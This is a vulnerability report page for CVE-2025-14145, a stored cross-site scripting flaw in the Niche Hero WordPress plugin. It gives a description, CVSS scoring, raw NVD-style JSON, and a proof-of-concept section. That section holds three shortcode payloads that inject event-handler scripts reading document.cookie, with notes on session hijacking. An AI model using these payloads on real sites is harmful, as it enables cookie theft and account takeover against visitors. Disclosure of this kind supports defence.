Security Vulnerability Report
中文
CVE-2025-14145 CVSS 6.4 MEDIUM

CVE-2025-14145

Published: 2026-01-07 12:16:54
Last Modified: 2026-04-15 00:35:42

Description

The Niche Hero | Beautifully-designed blocks in seconds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spacing' parameter of the nh_row shortcode in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Niche Hero WordPress Plugin <= 1.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Niche Hero Plugin CVE-2025-14145 Stored XSS PoC --> <!-- Login as Contributor or higher role, create/edit a post and insert: --> [nh_row spacing="1 onmouseover=alert(document.cookie)//"] <p>Hover over this text to trigger XSS</p> [/nh_row] <!-- Alternative PoC using different event handlers: --> [nh_row spacing='1" style="animation-name:spin onanimationend=alert(document.domain)//'] <div>Content here</div> [/nh_row] <!-- XSS payload via spacing parameter --> [nh_row spacing='1' onload='alert(String.fromCharCode(88,83,83))'] Content [/nh_row] <!-- Notes: - Requires Contributor-level WordPress account - Payload stored in database (persistent) - All visitors viewing the page will execute the malicious script - Can be used for session hijacking, credential theft, etc. -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14145", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:54.137", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Niche Hero | Beautifully-designed blocks in seconds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spacing' parameter of the nh_row shortcode in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin The Niche Hero | Beautifully-designed blocks in seconds para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'spacing' del shortcode nh_row en todas las versiones hasta la 1.0.5, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/niche-hero/tags/1.0.5/niche-hero.php#L302", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/niche-hero/trunk/niche-hero.php#L302", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/52368b7d-5fe2-444c-bd7f-e4385dffa8a9?source=cve", "source": "[email protected]"}]}}